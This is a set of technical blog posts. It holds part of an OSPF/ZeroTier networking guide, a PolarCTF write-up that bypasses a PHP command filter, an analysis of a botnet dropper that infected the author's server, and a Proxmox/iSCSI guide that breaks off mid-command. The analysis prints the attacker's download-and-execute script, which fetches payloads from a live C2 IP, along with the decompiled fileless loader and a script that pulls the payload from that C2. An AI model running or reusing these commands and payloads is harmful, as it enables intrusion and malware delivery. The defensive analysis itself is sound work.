14:31:38.389 Running Have your friend follow the same process. Once both sides show Running status, you can use birdc s r protocol intra_ospf_v4 to view the routes learned by OSPF. You'll find that routes to the other side via ZeroTier are being learned normally: root@X-WRT:/etc/bird# birdc s r protocol intra_ospf_v4 BIRD 2.18 ready. Table intra_table_v4: ... 192.168.1.0/24 unicast [intra_ospf_v4 23:20:21.398] * I (150/110) [100.64.0.163] via 100.64.0.163 on zta7oqfzy6 ... 192.168.3.0/24 unicast [intra_ospf_v4 14:28:02.511] * I (150/10) [100.64.0.100] dev br-lan You can also ping your friend's server from your PC: iyoroy@iYoRoy-PC:~$ ping 192.168.1.103 PING 192.168.1.103 (192.168.1.103) 56(84) bytes of data. 64 bytes from 192.168.1.103: icmp_seq=1 ttl=63 time=54.3 ms 64 bytes from 192.168.1.103: icmp_seq=2 ttl=63 time=10.7 ms 64 bytes from 192.168.1.103: icmp_seq=3 ttl=63 time=15.2 ms ^C --- 192.168.1.103 ping statistics --- 3 packets transmitted, 3 received, 0% packet loss, time 1998ms rtt min/avg/max/mdev = 10.678/26.717/54.279/19.576 ms iyoroy@iYoRoy-PC:~$ traceroute 192.168.1.103 traceroute to 192.168.1.103 (192.168.1.103), 30 hops max, 60 byte packets 1 100.64.0.163 (100.64.0.163) 10.445 ms 9.981 ms 9.892 ms 2 192.168.1.103 (192.168.1.103) 11.621 ms 10.994 ms 10.948 ms Web browsing and speed tests work normally: Summary This series of operations essentially implements the following network structure: flowchart TB %% === Style Definitions === classDef phyNet fill:#e3f2fd,stroke:#1565c0,stroke-width:2px classDef virNet fill:#fff3e0,stroke:#ef6c00,stroke-width:2px,stroke-dasharray: 5 5 classDef router fill:#333,stroke:#000,stroke-width:2px,color:#fff classDef ztCard fill:#f57c00,stroke:#e65100,stroke-width:2px,color:#fff,shape:rect classDef bird fill:#a5d6a7,stroke:#2e7d32,stroke-width:1px,color:#000 classDef invisibleContainer fill:none,stroke:none,color:none %% === Physical Layer Containers === subgraph Top_Physical_Layer [" "] direction LR subgraph Left_Side ["My Home (Node A)"] direction TB L_Router[X-WRT Router A]:::router L_LAN[LAN: 192.168.3.0/24] L_LAN <--> L_Router end subgraph Right_Side ["Friend's Home (Node B)"] direction TB R_Router[X-WRT Router B]:::router R_LAN[LAN: 192.168.1.0/24] R_LAN <--> R_Router end end %% === Virtual Layer Container === subgraph Middle_Side [ZeroTier Virtual L2 Network] direction LR subgraph ZT_Stack_A [My Home ZT Access] direction TB L_NIC(zt0: 100.64.0.x):::ztCard L_Bird(Bird OSPF):::bird L_NIC <-.- L_Bird end subgraph ZT_Stack_B [Friend's Home ZT Access] direction TB R_NIC(zt0: 100.64.0.y):::ztCard R_Bird(Bird OSPF):::bird R_NIC <-.- R_Bird end L_NIC <==P2P Tunnel==> R_NIC end %% === Cross-Layer Connections === L_Router === L_NIC R_Router === R_NIC %% === Style Application === class Left_Side,Right_Side phyNet class Middle_Side virNet class Top_Physical_Layer invisibleContainer The underlying P2P network is still powered by ZeroTier. However, using OSPF for internal routing allows both sides to directly route to devices on each other's network segments. Since both sides can fully learn each other's routes, no NAT is required, and both sides can directly see each other's source addresses. Check out the other side of this story! From my friend's side: Linux Operations - OSPF Networking Implementation Based on Bird for New OpenWrt » NanamiのTechLaunchTower
PolarCTF 2025 Winter Competition Web Polarflag WriteUp
Opening the webpage, you can see it is a login page: Attempting to scan with dirsearch yields: Target: http://8c9e4bf8-68c2-4c3f-bf12-2b578912c971.game.polarctf.com:8090/ [15:15:01] Starting: [15:15:04] 403 - 319B - /.ht_wsr.txt [15:15:04] 403 - 319B - /.htaccess.bak1 [15:15:04] 403 - 319B - /.htaccess.orig [15:15:04] 403 - 319B - /.htaccess.sample [15:15:04] 403 - 319B - /.htaccess.save [15:15:04] 403 - 319B - /.htaccess_orig [15:15:04] 403 - 319B - /.htaccess_extra [15:15:04] 403 - 319B - /.htaccess_sc [15:15:04] 403 - 319B - /.htaccessBAK [15:15:04] 403 - 319B - /.htaccessOLD [15:15:04] 403 - 319B - /.htaccessOLD2 [15:15:04] 403 - 319B - /.htm [15:15:04] 403 - 319B - /.html [15:15:04] 403 - 319B - /.htpasswd_test [15:15:04] 403 - 319B - /.htpasswds [15:15:04] 403 - 319B - /.httr-oauth [15:15:19] 200 - 448B - /flag.txt [15:15:20] 200 - 3KB - /index.php [15:15:20] 200 - 3KB - /index.php/login/ [15:15:28] 403 - 319B - /server-status/ [15:15:28] 403 - 319B - /server-status Task Completed Discover /flag.txt, access it: <?php $original = "flag{polar_flag_in_here}"; $ascii_codes = [117, 115, 101, 114, 110, 97, 109, 101]; $new = ""; foreach ($ascii_codes as $code) { $new .= chr($code); } function replaceString($original, $new) { $temp = str_replace("flag{", "the_", $original); $temp = str_replace("polar_flag_in_here}", $new . "_is_polar", $temp); return $temp; } $result = replaceString($orginal, $ne1w); echo "flag{polar_flag_in_here}"; ?> Attempting to run it reveals a syntax error. Correct it: ... return $temp; } -$result = replaceString($orginal, $ne1w); +$result = replaceString($original, $new); -echo "flag{polar_flag_in_here}"; +echo $result; Running it yields: the_username_is_polar, hinting that the username is polar. Meanwhile, the challenge attachment provides a dictionary wordlist.txt. Attempt brute-forcing with BurpSuite: Brute-forcing reveals that when the password is 6666, it redirects to /polar.php: Access /polar.php, obtain: <?php error_reporting(0); session_start(); if(isset($_GET['logout'])){ session_destroy(); header('Location: index.php'); exit(); } // Initialize session variable if(!isset($_SESSION['collision_passed'])) { $_SESSION['collision_passed'] = false; } // The one who wants to win has no smile on their face if(isset($_POST['a']) && isset($_POST['b'])) { if($_POST['a'] != $_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) { echo "MD5 Well done \n"; $_SESSION['collision_passed'] = true; } else { echo "MD5 Not good enough\n"; $_SESSION['collision_passed'] = false; } } if(isset($_GET["polar"])){ if($_SESSION['collision_passed']) { if(preg_match('/et|echo|cat|tac|base|sh|tar|more|less|tail|nl|fl|vi|head|env|\||;|\^|\'|\]|"|<|>|`|\/| |\\\\|\*/i',$_GET["polar"])){ echo "gun gun !"; } else { echo "polar polar !"; system($_GET["polar"]); } } else { echo "Go back, this part isn't needed\n"; } } else { show_source(__FILE__); echo ' Go home'; } ?> First, bypass the MD5 check by passing a[]=1&b[]=2: POST /polar.php HTTP/1.1 Host: 350eddd0-fd57-4dd0-94d3-c0c8888afd7d.game.polarctf.com:8090 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.95 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 11 a[]=1&b[]=2 The server returns: Set-Cookie: PHPSESSID=443dctaboep4kh53upn3v2pqal; path=/ And prompts MD5 Well done, successfully bypassing. Since I used BurpSuite to send the request, I plan to use a regular browser next, so I write this cookie into the browser. Then directly access /polar.php?polar= to pass commands, no need to bypass MD5 again. Observing the regex filtering rules, many characters are blocked, including a series of symbols. First, try exporting environment variables with export, and discover a Flag: flag{7b93dd56-4f33-4738-b916-464a984093b3}, but submitting it shows it's incorrect. Asking customer service confirms this Flag is wrong. Since spaces are filtered, use $IFS$1 or %09 (Tab) to bypass. Also, because / is blocked, use ${PWD:0:1} (extract the first character of the PWD environment variable, which is /) instead. Construct the request: http://350eddd0-fd57-4dd0-94d3-c0c8888afd7d.game.polarctf.com:8090/polar.php?polar=ls%09${PWD:0:1} Obtain: polar polar !bin dev etc home lib media mnt opt polarflag proc root run sbin srv sys tmp usr var Discover the Flag file: /polarflag. Since fl is filtered, cannot directly call the filename, so use ????????? to match a 9-character file. Commands like cat, tail, more, less that can print content are disabled, but commands like sort can still be used and also print content: http://350eddd0-fd57-4dd0-94d3-c0c8888afd7d.game.polarctf.com:8090/polar.php?polar=sort%09${PWD:0:1}????????? Obtain the Flag: flag{polarctf1314inwebgame}
The Reverse Engineering Journey: Analyzing a Server Compromise via RCE from CVE-2025-66478 and CVE-2025-55182
Background It was Saturday evening, and I was resting when Alibaba Cloud suddenly called, saying the server might have been hacked by intruders. I logged into the Alibaba Cloud console to check: What I had been worrying about finally happened. The recently disclosed CVE-2025-55182 vulnerability is exploitable for RCE (Remote Code Execution). The Umami analytics tool running on my server used a vulnerable version of Next.JS. Earlier in the morning, I had manually updated my Umami, but it seems the official patch had not been released yet. The server alert originated from the umami container, which executed a remote shell script. As a CTFer, it's hard to resist analyzing a sample delivered right to your doorstep, right? Analysis The Script The warning from Alibaba Cloud showed the execution of a shell script: /bin/sh -c wget https://sup001.oss-cn-hongkong.aliyuncs.com/123/python1.sh && chmod 777 python1.sh && ./python1.sh I tried to manually download that python1.sh: export PATH=$PATH:/bin:/usr/bin:/sbin:/usr/local/bin:/usr/sbin mkdir -p /tmp cd /tmp touch /usr/local/bin/writeablex >/dev/null 2>&1 && cd /usr/local/bin/ touch /usr/libexec/writeablex >/dev/null 2>&1 && cd /usr/libexec/ touch /usr/bin/writeablex >/dev/null 2>&1 && cd /usr/bin/ rm -rf /usr/local/bin/writeablex /usr/libexec/writeablex /usr/bin/writeablex export PATH=$PATH:$(pwd) l64="119.45.243.154:8443/?h=119.45.243.154&p=8443&t=tcp&a=l64&stage=true" l32="119.45.243.154:8443/?h=119.45.243.154&p=8443&t=tcp&a=l32&stage=true" a64="119.45.243.154:8443/?h=119.45.243.154&p=8443&t=tcp&a=a64&stage=true" a32="119.45.243.154:8443/?h=119.45.243.154&p=8443&t=tcp&a=a32&stage=true" v="042d0094tcp" rm -rf $v ARCH=$(uname -m) if [ ${ARCH}x = "x86_64x" ]; then (curl -fsSL -m180 $l64 -o $v||wget -T180 -q $l64 -O $v||python -c 'import urllib;urllib.urlretrieve("http://'$l64'", "'$v'")') elif [ ${ARCH}x = "i386x" ]; then (curl -fsSL -m180 $l32 -o $v||wget -T180 -q $l32 -O $v||python -c 'import urllib;urllib.urlretrieve("http://'$l32'", "'$v'")') elif [ ${ARCH}x = "i686x" ]; then (curl -fsSL -m180 $l32 -o $v||wget -T180 -q $l32 -O $v||python -c 'import urllib;urllib.urlretrieve("http://'$l32'", "'$v'")') elif [ ${ARCH}x = "aarch64x" ]; then (curl -fsSL -m180 $a64 -o $v||wget -T180 -q $a64 -O $v||python -c 'import urllib;urllib.urlretrieve("http://'$a64'", "'$v'")') elif [ ${ARCH}x = "armv7lx" ]; then (curl -fsSL -m180 $a32 -o $v||wget -T180 -q $a32 -O $v||python -c 'import urllib;urllib.urlretrieve("http://'$a32'", "'$v'")') fi chmod +x $v (nohup $(pwd)/$v > /dev/null 2>&1 &) || (nohup ./$v > /dev/null 2>&1 &) || (nohup /usr/bin/$v > /dev/null 2>&1 &) || (nohup /usr/libexec/$v > /dev/null 2>&1 &) || (nohup /usr/local/bin/$v > /dev/null 2>&1 &) || (nohup /tmp/$v > /dev/null 2>&1 &) # I found that it downloads the corresponding ELF file based on the CPU architecture. The Loader I attempted to manually download the binary for the amd64 architecture specified in the script above and opened it with IDA Pro: int __fastcall main(int argc, const char **argv, const char **envp) { struct hostent *v3; // rax in_addr_t v4; // eax int v5; // eax int v6; // ebx int v7; // r12d int v8; // edx _BYTE *v9; // rax __int64 v10; // rcx _DWORD *v11; // rdi _BYTE buf[2]; // [rsp+2h] [rbp-1476h] BYREF int optval; // [rsp+4h] [rbp-1474h] BYREF char *argva[2]; // [rsp+8h] [rbp-1470h] BYREF sockaddr addr; // [rsp+1Ch] [rbp-145Ch] BYREF char name[33]; // [rsp+2Fh] [rbp-1449h] BYREF char resolved[1024]; // [rsp+50h] [rbp-1428h] BYREF _BYTE v19[4136]; // [rsp+450h] [rbp-1028h] BYREF if ( !access("/tmp/log_de.log", 0) ) exit(0); qmemcpy(name, "119.45.243.154", sizeof(name)); *(_QWORD *)&addr.sa_family = 4213178370LL; *(_QWORD *)&addr.sa_data[6] = 0LL; v3 = gethostbyname(name); if ( v3 ) v4 = **(_DWORD **)v3->h_addr_list; else v4 = inet_addr(name); *(_DWORD *)&addr.sa_data[2] = v4; v5 = socket(2, 1, 0); v6 = v5; if ( v5 >= 0 ) { optval = 10; setsockopt(v5, 6, 7, &optval, 4u); while ( connect(v6, &addr, 0x10u) == -1 ) sleep(0xAu); send(v6, "l64 ", 6uLL, 0); buf[0] = addr.sa_data[0]; buf[1] = addr.sa_data[1]; send(v6, buf, 2uLL, 0); send(v6, name, 0x20uLL, 0); v7 = syscall(319LL, "a", 0LL); if ( v7 >= 0 ) { while ( 1 ) { v8 = recv(v6, v19, 0x1000uLL, 0); if ( v8 <= 0 ) break; v9 = v19; do *v9++ ^= 0x99u; while ( (int)((_DWORD)v9 - (unsigned int)v19) < v8 ); write(v7, v19, v8); } v10 = 1024LL; v11 = v19; while ( v10 ) { *v11++ = 0; --v10; } close(v6); realpath(*argv, resolved); setenv("CWD", resolved, 1); argva[0] = "[kworker/0:2]"; argva[1] = 0LL; fexecve(v7, argva, _bss_start); } } return 0; } Analysis revealed several key malicious operations: v7 = syscall(319LL, "a", 0LL);: 319 corresponds to the memfd_create system call on Linux x64, used to create an anonymous file in memory. Subsequently, it downloads a Payload from the target server and loads it into this memory region for execution. This is a Fileless Malware, which does not store the payload on the disk but loads it directly into memory. *v9++ ^= 0x99u;: Decrypts the downloaded Payload by XOR-ing each byte with 0x99, likely to evade firewall detection. argva[0] = "[kworker/0:2]";: Disguises the process as a kernel kworker process. Other operations: Checks for the existence of the log file /tmp/log_de.log to determine if the server has already been compromised. If so, it exits immediately. If connecting to the C2 server fails, it retries every 10 seconds to connect and load the Payload. The C2 server IP 119.45.243.154 is evident from the reversed code, but the port wasn't immediately obvious. Let's analyze the port setting code: *(_QWORD *)&addr.sa_family = 4213178370LL; Here, 4213178370LL (DEC) = 0xFB200002 (HEX). Since it's a QWORD (64-bit value), the actual value is 0x00000000FB200002. Due to little-endian byte order, the bytes stored in memory would be 02 00 20 FB 00 00 00 00. The typical memory layout for sockaddr is: offset 0–1: sa_family (2 bytes) offset 2–15: sa_data (14 bytes) Thus, the assignment above does the following: offset 0: Low byte of sa_family = 0x02 offset 1: High byte of sa_family = 0x00 offset 2: sa_data[0] = 0x20 offset 3: sa_data[1] = 0xFB offset 4..7: sa_data[2..5] = 0x00 0x00 0x00 0x00 Here, sa_data[0..1] represents the port, and sa_data[2..5] represents the IP address. Since network byte order is big-endian, the actual port is 0x20FB, which is 8443. The IP address assignment is found later: v3 = gethostbyname(name); if ( v3 ) v4 = **(_DWORD **)v3->h_addr_list; else v4 = inet_addr(name); *(_DWORD *)&addr.sa_data[2] = v4; I wrote a Python script to connect to the server based on the loader's logic and attempt to download the Payload into an ELF file: import socket import time import os C2_HOST = "119.45.243.154" C2_PORT = 8443 OUTPUT_FILE = "payload.elf" def xor_decode(data): return bytes([b ^ 0x99 for b in data]) def main(): # Delete old file if os.path.exists(OUTPUT_FILE): os.remove(OUTPUT_FILE) while True: try: print(f"[+] Connecting to C2 {C2_HOST}:{C2_PORT} ...") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((C2_HOST, C2_PORT)) print("[+] Connected.") # Handshake s.send(b"l64 ") s.send(b"\x20\xfb") # fake port s.send(b"119.45.243.154".ljust(32, b"\x00")) print("[+] Handshake sent.") print(f"[+] Writing decrypted ELF data to {OUTPUT_FILE}\n") with open(OUTPUT_FILE, "ab") as f: while True: data = s.recv(4096) if not data: print("[-] C2 closed connection.") break decrypted = xor_decode(data) f.write(decrypted) print(f"[+] Received {len(data)} bytes, written to file.") print("[*] Reconnecting in 10 seconds...\n") time.sleep(10) except Exception as e: print(f"[-] Error: {e}") print("[*] Reconnecting in 10 seconds...\n") time.sleep(10) if __name__ == "__main__": main() Running it yielded an ELF file, payload.elf. Payload.elf First, I uploaded it to Weibu Cloud Sandbox for detection, which confirmed it was a Trojan: However, the sandbox didn't detect highly dangerous behaviors. I consulted a senior in reverse engineering, who analyzed the sample and determined it was written in Go. I used GoReSym to export the symbol table and loaded it into IDA Pro: \GoReSym.exe payload.elf > symbols.json I had an AI write an IDA Pro script to import the symbol table: import json import idc import idaapi import idautils # ⚠️ Modify this: Path to your generated symbols.json file json_path = r"D:\\Desktop\\symbols.json" def restore_symbols(): print("[-] Loading symbols from JSON...") try: with open(json_path, 'r', encoding='utf-8') as f: data = json.load(f) except Exception as e: print(f"[!] Error opening file: {e}") return # 1. Restore User Functions count = 0 for func in data.get('UserFunctions', []): start_addr = func['Start'] full_name = func['FullName'] # Clean up characters IDA doesn't like safe_name = full_name.replace("(", "_").replace(")", "_").replace("*", "ptr_").replace("/", "_") # Attempt to rename if idc.set_name(start_addr, safe_name, idc.SN_NOWARN | idc.SN_NOCHECK) == 1: # Optionally, if renaming succeeds, try to re-analyze as code idc.create_insn(start_addr) idc.add_func(start_addr) count += 1 print(f"[+] Successfully renamed {count} functions.") if __name__ == "__main__": restore_symbols() In IDA, I used File -> Script file to run the script and import the symbol table. Simultaneously, I provided the symbol table to an AI for analysis, which identified functions related to OSS bucket operations: (*Config).GetAccessKeyID / GetAccessKeySecret / GetSecurityToken -> Steals or uses cloud credentials. Bucket.PutObjectFromFile -> Uploads files (very likely exfiltrating data from your server to the attacker's OSS Bucket). Bucket.DoPutObject -> Executes the upload operation. (*Config).LimitUploadSpeed / LimitDownloadSpeed -> Limits bandwidth usage to avoid detection of abnormal network activity. Obfuscated Package Name Real Package / Functional Guess Evidence (Artifacts) Behavior Description ojQuzc_T Aliyun OSS SDK PutObjectFromFile, GetAccessKeySecret Connects to Aliyun OSS, uploads/downloads files, steals credentials. l2FdnE6 os/exec (Command Execution) (*Ps1Jpr8w8).Start, StdinPipe, Output Executes system commands. It calls Linux shell commands. qzjJr5PCHfoj os / Filesystem Operations Readdir, Chown, Truncate, SyscallConn Traverses directories, modifies file permissions, reads/writes files. PqV1YDIP godbus/dbus (D-Bus) (*Conn).BusObject, (*Conn).Eavesdrop Connects to Linux D-Bus. Possibly for privilege escalation, monitoring system events, or interacting with systemd. c376cVel0vv math/rand NormFloat64, Shuffle, Int63 Generates random numbers. Often used for generating communication keys or randomness in mining algorithms. r_zJbsaQ net (Low-level Networking) DialContext, Listen, Accept, SetKeepAlive Establishes TCP/UDP connections, possibly for C2 communication or as a backdoor listening on a port. J9ItGl7U net/http2 http2ErrCode, WriteHeaders, WriteData Uses HTTP/2 protocol for communication (likely to hide C2 traffic). Otkxde ECC Cryptography Library ScalarMult, Double, SetGenerator Elliptic curve encryption. Possibly for encrypting C2 communication or as an encryption module for ransomware. We can infer some possible program logic: Persistence & Control (D-Bus & Net): It attempts to connect via D-Bus using the PqV1YDIP package, which is less common in server malware. It might be trying to hijack system services or monitor administrator activity. It listens on ports or establishes reverse connections via r_zJbsaQ. Data Exfiltration (Aliyun OSS): It doesn't send data back to a typical C2 server IP but uses Aliyun OSS as a "transit point." This is a clever tactic because traffic to Aliyun is often considered whitelisted by firewalls and harder to detect. Command Execution (os/exec): It has full shell execution capabilities (l2FdnE6), allowing it to execute arbitrary commands, download scripts, and modify file permissions. Possible Ransomware or Cryptominer Features: Numerous mathematical operation libraries (Otkxde, HfBi9x4DOLl, etc., contain many Mul, Add, Square, Invert) suggest it is computationally intensive. If it's ransomware: These math libraries are used to generate keys for encrypting files. If it's a cryptocurrency miner: These libraries are used to calculate hashes. Combined with its use of Shuffle and NormFloat64 from math/rand, this aligns with features of some mining algorithms (like RandomX). Further analysis led to a function named UXTgUQ_stlzy_RraJUM: I had an AI analyze it and the conclusion was: This is a very typical C2 (Command & Control) instruction dispatcher function written in Golang. Combined with the context of the "Linux loader" mentioned earlier, this function belongs to the core Trojan (Bot) that was downloaded and executed by that loader. 1. Overview and Location Function: Instruction Dispatcher (Command Dispatcher). This is part of the main loop logic of the Trojan, responsible for receiving command strings from the C2 server, parsing them, and executing corresponding malicious functions. Security Mechanism: The function begins with an authentication check if ( v18 == a2 && (unsigned __int8)sub_4035C0() ). If validation fails, it returns "401 Not Auth", indicating that this Trojan has some anti-scanning or session authentication mechanisms. 2. Detailed Reverse Engineering of the Instruction Set The code uses switch ( a4 ) to determine the length of the command string and then checks its specific content. There are numerous hardcoded strings and Hex values here: Case 1 (Single-character commands - Basic Control) These are likely remnants of an early version or shorthand commands designed to reduce traffic: I: Calls os_rename. Function: Renames a file. E: Calls os_removeAll. Function: Deletes files/cleans traces. J: Returns "0" or unknown. Possibly used for heartbeat detection or status queries. Z: Returns "mysql_close\t1". Function: Database-related. It's inferred that this Trojan includes a MySQL brute-force or connection module, and this command closes the connection. H: Possibly gets host information (Host Info). Other single letters (A-Y): Call different sub-functions (like sub_7CAF40), typically corresponding to: enabling proxies, executing shell commands, obtaining system load, etc. Case 4 (Four-character commands) Hex: 1414092869 -> Little Endian: 0x54495845 -> "EXIT" Function: Terminates the Trojan process. Case 8 (Eight-character commands - Core Functions) This is the most critical part, exposing the Trojan's core capabilities: Download Hex: 0x64616F6C6E776F44LL -> "Download" Function: Downloader functionality. Downloads files from a specified URL. Code Logic: If a11 (callback function or interface) exists, it calls it to process the download result. LocalRun Hex: 0x6E75526C61636F4CLL -> "LocalRun" Function: Local execution. Likely executes a local shell script or binary file. Case 9 (Nine-character commands - Advanced Attacks) InjectRun Hex: 0x75527463656A6E49LL + 'n' -> "InjectRun" Function: Memory injection execution. This is an advanced feature, used in conjunction with memfd_create seen earlier. It typically refers to injecting a payload into another process or running it directly in memory without touching the disk. PluginRun Hex: 0x75526E6967756C50LL + 'n' -> "PluginRun" Function: Plugin execution. This indicates that the Trojan is modular and can dynamically load .so or Go plugin modules to extend functionality (such as cryptocurrency mining, DDoS attacks, port scanning, etc.). 3. Response Construction Logic After the switch block, there is a complex string concatenation logic: *(_WORD *)v71 = 15917 -> ASCII for | and }? Or specific delimiters. *(_BYTE *)(v80 + v79 + 2) = 45 -> ASCII for -. Conclusion: The Trojan wraps the command execution result (like "OK", "Error", or specific data) with specific delimiters (e.g., |<result>-) before sending it back to the C2. 4. Summary and Profile Combined with the previous code (the Loader), we can create a complete profile for this Trojan: Family Speculation: This naming style (InjectRun / PluginRun / LocalRun), combined with being written in Go and supporting modular plugins, strongly resembles the Spark botnet or a variant (like a modified version of the Sliver C2, but it's more akin to a custom-built blackhat bot). It could also be a variant of the Sysrv-hello mining worm (which often mixes Go and exploits). Attack Chain: Loader: The earlier C code, responsible for environment detection, persistence, and downloading the Bot in memory. Bot (this code): This Go program, resident in memory. Modules: Dynamically delivers mining modules (like XMRig) or DDoS attack modules via PluginRun. Lateral Movement: The mysql_close hint suggests it has password-scanning capabilities and infects other machines on the internal network via InjectRun. Conclusion Honestly, I felt there wasn't much more meaningful analysis to be done. The logic essentially confirms it's a typical Botnet. The discovered IP has a 99% probability of being a compromised zombie machine, so investigating it seems pointless. The main takeaway is to summarize lessons learned on preventing such incidents. For small-scale personal websites like mine, when a CVE is disclosed, it's best to immediately disable all related services. Wait for a confirmed patched version to be released, then update and re-enable the services. Sample Download: Payload.zip Note: This sample is unprocessed. Do not run it directly without proper security measures! Password: 20251206
An Experience of Manually Installing Proxmox VE, Configuring Multipath iSCSI, and NAT Forwarding
The reason was that I rented a physical server, but the IDC did not provide Proxmox VE or Debian system images, only Ubuntu, CentOS, and Windows series. Additionally, the data disk was provided via multipath iSCSI. I wanted to use PVE for isolating different usage scenarios, so I attempted to reinstall the system and migrate the aforementioned configurations. Backup Configuration First, perform a general check of the system, which reveals: The system has two Network Interfaces: enp24s0f0 is connected to a public IP address for external access; enp24s0f1 is connected to the private network address 192.168.128.153. The data disk is mapped to /dev/mapper/mpatha. Under /etc/iscsi, there are configurations for two iSCSI Nodes: 192.168.128.250:3260 and 192.168.128.252:3260, both corresponding to the same target iqn.2024-12.com.ceph:iscsi. It can be inferred that the data disk is mounted by configuring two iSCSI Nodes and then merging them into a single device using multipath. Check the system's network configuration: network: version: 2 renderer: networkd ethernets: enp24s0f0: addresses: [211.154.[REDACTED]/24] routes: - to: default via: [REDACTED] match: macaddress: ac:1f:6b:0b:e2:d4 set-name: enp24s0f0 nameservers: addresses: - 114.114.114.114 - 8.8.8.8 enp24s0f1: addresses: - 192.168.128.153/17 match: macaddress: ac:1f:6b:0b:e2:d5 set-name: enp24s0f1 It's found to be very simple static routing. The internal network interface doesn't even have a default route; just binding the IP is sufficient. Then, save the iSCSI configuration files from /etc/iscsi, which include account and password information. Reinstall Debian Used the bin456789/reinstall script for this reinstallation. Download the script: curl -O https://cnb.cool/bin456789/reinstall/-/git/raw/main/reinstall.sh || wget -O ${_##*/} $_ Reinstall as Debian 13 (Trixie): bash reinstall.sh debian 13 Then, enter the password you want to set as prompted. If all goes well, wait about 10 minutes, and it will automatically complete and reinstall into a clean Debian 13. You can connect via SSH during the process using the set password to check the installation progress. After reinstalling, perform a source change and apt upgrade as usual to get a clean Debian 13. For changing sources, directly refer to the USTC Mirror Site tutorial. Install Proxmox VE This step mainly refers to the Proxmox official tutorial. Note: The Debian installed by the above script sets the hostname to localhost. If you want to change it, please modify it before configuring the Hostname and change the hostname in hosts to your modified hostname, not localhost. Configure Hostname Proxmox VE requires the current hostname to be resolvable to a non-loopback IP address: The hostname of your machine must be resolvable to an IP address. This IP address must not be a loopback one like 127.0.0.1 but one that you and other hosts can connect to. For example, my server IP is 211.154.[CENSORED], I need to add the following record in /etc/hosts: 127.0.0.1 localhost +211.154.[CENSORED] localhost ::1 localhost ip6-localhost ip6-loopback ff02::1 ip6-allnodes ff02::2 ip6-allrouters After saving, use hostname --ip-address to check if it outputs the set non-loopback address: ::1 127.0.0.1 211.154.[CENSORED]. Add Proxmox VE Software Repository Debian 13 uses the Deb822 format (though you can use sources.list if you want), so just refer to the USTC Proxmox Mirror Site: cat > /etc/apt/sources.list.d/pve-no-subscription.sources <<EOF Types: deb URIs: https://mirrors.ustc.edu.cn/proxmox/debian/pve Suites: trixie Components: pve-no-subscription Signed-By: /usr/share/keyrings/proxmox-archive-keyring.gpg EOF Here, a keyring needs to be migrated but I couldn't find one after searching online, so I chose to pull a copy from an existing Proxmox VE server. It's available here: proxmox-keyrings.zip Extract the public key file and place it in /usr/share/keyrings/, then run: apt update apt upgrade -y This will sync the Proxmox VE software repository. Install Proxmox VE Kernel Use the following command to install the PVE kernel and reboot to apply the new kernel: apt install proxmox-default-kernel reboot Afterwards, uname -r should show a kernel version ending with pve, like 6.17.2-2-pve, indicating the new kernel is successfully applied. Install Proxmox VE Related Packages Use apt to install the corresponding packages: apt install proxmox-ve postfix open-iscsi chrony During configuration, you will need to set up the postfix mail server. Official explanation: If you have a mail server in your network, you should configure postfix as a satellite system. Your existing mail server will then be the relay host which will route the emails sent by Proxmox VE to their final recipient. If you don't know what to enter here, choose local only and leave the system name as is. After this, you should be able to access the Web console at https://<your server address>:8006. The account is root, and the password is your root password, i.e., the password configured during the Debian reinstallation. Remove Old Debian Kernel and os-prober Use the following commands: apt remove linux-image-amd64 'linux-image-6.1*' update-grub apt remove os-prober to remove the old Debian kernel, update grub, and remove os-prober. Removing os-prober is not mandatory, but it is recommended by the official guide because it might mistakenly identify VM boot files as multi-boot files, adding incorrect entries to the boot list. At this point, the installation of Proxmox VE is complete and ready for normal use! Configuring Internal Network Interface Because the iSCSI network interface and the public network interface are different, and the reinstallation lost this configuration, the internal network interface needs to be manually configured. Open the Proxmox VE Web interface, go to Datacenter - localhost (hostname) - Network, edit the internal network interface (e.g., ens6f1 here), enter the backed-up IPv4 in CIDR format: 192.168.128.153/17, and check Autostart, then save. Then use the command to set the interface state to UP: ip link set ens6f1 up Now you should be able to ping the internal iSCSI server's IP. Configure Data Disk iSCSI In the previous step, we should have installed the open-iscsi package required for iscsiadm. We just need to reset the nodes according to the backed-up configuration. First, discover the iSCSI storage: iscsiadm -m discovery -t st -p 192.168.128.250:3260 This should yield the two original LUN Targets: 192.168.128.250:3260,1 iqn.2024-12.com.ceph:iscsi 192.168.128.252:3260,2 iqn.2024-12.com.ceph:iscsi Transfer the backed-up configuration files to the server, overwriting the existing configuration in /etc/iscsi. Also, in my backed-up config, I found the authentication configuration: # /etc/iscsi/nodes/iqn.2024-12.com.ceph:iscsi/192.168.128.250,3260,1/default # BEGIN RECORD 2.1.5 node.name = iqn.2024-12.com.ceph:iscsi ... # Some unimportant configurations omitted node.session.auth.authmethod = CHAP node.session.auth.username = [CENSORED] node.session.auth.password = [CENSORED] node.session.auth.chap_algs = MD5 ... # Some unimportant configurations omitted # /etc/iscsi/nodes/iqn.2024-12.com.ceph:iscsi/192.168.128.252,3260,2/default # BEGIN RECORD 2.1.5 node.name = iqn.2024-12.com.ceph:iscsi ... # Some unimportant configurations omitted node.session.auth.authmethod = CHAP node.session.auth.username = [CENSORED] node.session.auth.password = [CENSORED] node.session.auth.chap_algs = MD5 ... # Some unimportant configurations omitted Write these configurations to the new system using: iscsiadm -m node -T iqn.2024-12.com.ceph:iscsi -p 192.168.128.250:3260 -o update -n node.session.auth.authmethod -v CHAP iscsiadm -m node -T iqn.2024-12.com.ceph:iscsi -p 192.168.128.250:3260 -o update -n node.session.auth.username -v [CENSORED] iscsiadm -m node -T iqn.2024-12.com.ceph:iscsi -p 192.168.128.250:3260 -o update -n node.session.auth.password -v [CENSORED] iscsiadm -m node -T iqn.2024-12.com.ceph:iscsi -p 192.168.128.250:3260 -o update -n node.session.auth.chap_algs -v MD5 iscsiadm -m node -T iqn.2024-12.com.ceph:iscsi -p 192.168.128.252:3260 -o update -n node.session.auth.authmethod -v CHAP iscsiadm -m node -T iqn.2024-12.com.ceph:iscsi -p 192.168.128.252:3260 -o update -n node.session.auth.username -v 